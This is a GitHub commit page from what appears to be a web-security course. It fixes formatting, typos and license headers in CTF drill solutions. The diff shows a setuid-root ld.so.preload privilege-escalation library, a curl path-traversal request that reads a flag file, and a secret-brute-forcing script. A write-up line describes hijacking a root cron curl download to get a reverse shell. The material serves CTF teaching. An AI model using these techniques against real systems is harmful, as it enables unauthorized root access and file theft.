Skip to content

Commit 8d13e91

Browse files
author
David Bors
committed
10-end-to-end-chapter/drills: fix checkpatch
Fix checkpatch errors from drills/ files. Signed-off-by: David Bors <borsdavid@proton.me>
1 parent cac665c commit 8d13e91

File tree

9 files changed

+15
-10
lines changed

9 files changed

+15
-10
lines changed

chapters/web-application-security/10-end-to-end/drills/brooklyn-nine-nine/sol/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# 'Brooklyn-Nine-Nine' box writeup
2-
## Brooklyn Nine Nine is a CTF box written by Fsociety2006 and available on the [TryHackMe](https://tryhackme.com/) platform.
2+
## Brooklyn-Nine-Nine is a CTF box written by Fsociety2006 and available on the [TryHackMe](https://tryhackme.com/) platform.
33
## Read about [Less Command](https://linuxize.com/post/less-command-in-linux/) and [Privilege Escalation using find, vim, less or bash](https://pentestlab.blog/category/privilege-escalation/)
44
# ![bg](images/background.jpeg?raw=true "Title")
55

chapters/web-application-security/10-end-to-end/drills/dav/sol/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212

1313
# ![nmap](images/nmap_dirb_scan.jpg?raw=true "nmap")
1414

15-
+ **Let's run a gobuster search too and see our results. It seems that a webdav service is runnning**
15+
+ **Let's run a gobuster search too and see our results. It seems that a webdav service is running**
1616

1717
``gobuster dir -u http://10.10.62.166/ -w /usr/share/wordlists/dirb/common.txt``
1818

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
// SPDX-License-Identifier: BSD-3-Clause
12
#include <stdio.h>
23
#include <sys/types.h>
34
#include <sys/stat.h>
@@ -7,8 +8,8 @@ __attribute__ ((__constructor__))
78

89
void libshell(void)
910
{
10-
chown("/tmp/root_sh", 0, 0);
11-
chmod("/tmp/root_sh", 04755);
12-
unlink("/etc/ld.so.preload");
13-
printf("[+] shell loaded!\n");
11+
chown("/tmp/root_sh", 0, 0);
12+
chmod("/tmp/root_sh", 04755);
13+
unlink("/etc/ld.so.preload");
14+
printf("[+] shell loaded!\n");
1415
}

chapters/web-application-security/10-end-to-end/drills/madness/sol/utils/root_sh.c

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
// SPDX-License-Identifier: BSD-3-Clause
12
#include <stdio.h>
23
#include <sys/types.h>
34
#include <unistd.h>

chapters/web-application-security/10-end-to-end/drills/madness/sol/utils/secret_guess.sh

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
11
#!/bin/bash
2+
# SPDX-License-Identifier: BSD-3-Clause
23

34
for i in {0..99}
45
do
56
# modify the ip address below and the hidden directory that you found
67
curl --silent http://10.10.94.80/x/?secret=$i | grep right >> /dev/null
7-
8+
89
if [ $? -eq 0 ]
910
then
1011
echo "$i is our SECRET page"

chapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modfiy.jpg renamed to chapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modify.jpg

File renamed without changes.

chapters/web-application-security/10-end-to-end/drills/overpass/sol/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,7 @@ async function login() {
9494
9595
+ **What if we can run our own script on this machine? If we modify the overpass.thm domain into our local machine domain, we can host locally a python server and upload maybe a python script which get us a reverse shell. The respective script is executed by root so we're gonna get a root shell**
9696
97-
# ![12](images/modfiy.jpg?raw=true "modify")
97+
# ![12](images/modify.jpg?raw=true "modify")
9898
9999
**Next step is to create a similar path with the /etc/crontab curl get request from the host - */downloads/src/buildscript.sh*. Let's do this into our local machine and we're gonna host the server into our home directory**
100100

chapters/web-application-security/10-end-to-end/drills/walker/sol/solution.sh

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
#!/bin/bash
2+
# SPDX-License-Identifier: BSD-3-Clause
23

34
PORT=8080
45

@@ -19,4 +20,4 @@ else
1920
URL=$1':'$2
2021
fi
2122

22-
curl $URL/cgi-bin/.%2e/.%2e/.%2e/.%2e/home/ctf/flag.txt
23+
curl $URL/cgi-bin/.%2e/.%2e/.%2e/.%2e/home/ctf/flag.txt

chapters/web-application-security/10-end-to-end/drills/wso/sol/solution.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
import requests, urllib3, sys
1+
# SPDX-License-Identifier: BSD-3-Clause
2+
import requests, sys
23

34
if len(sys.argv) != 3:
45
print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")

0 commit comments

Comments
 (0)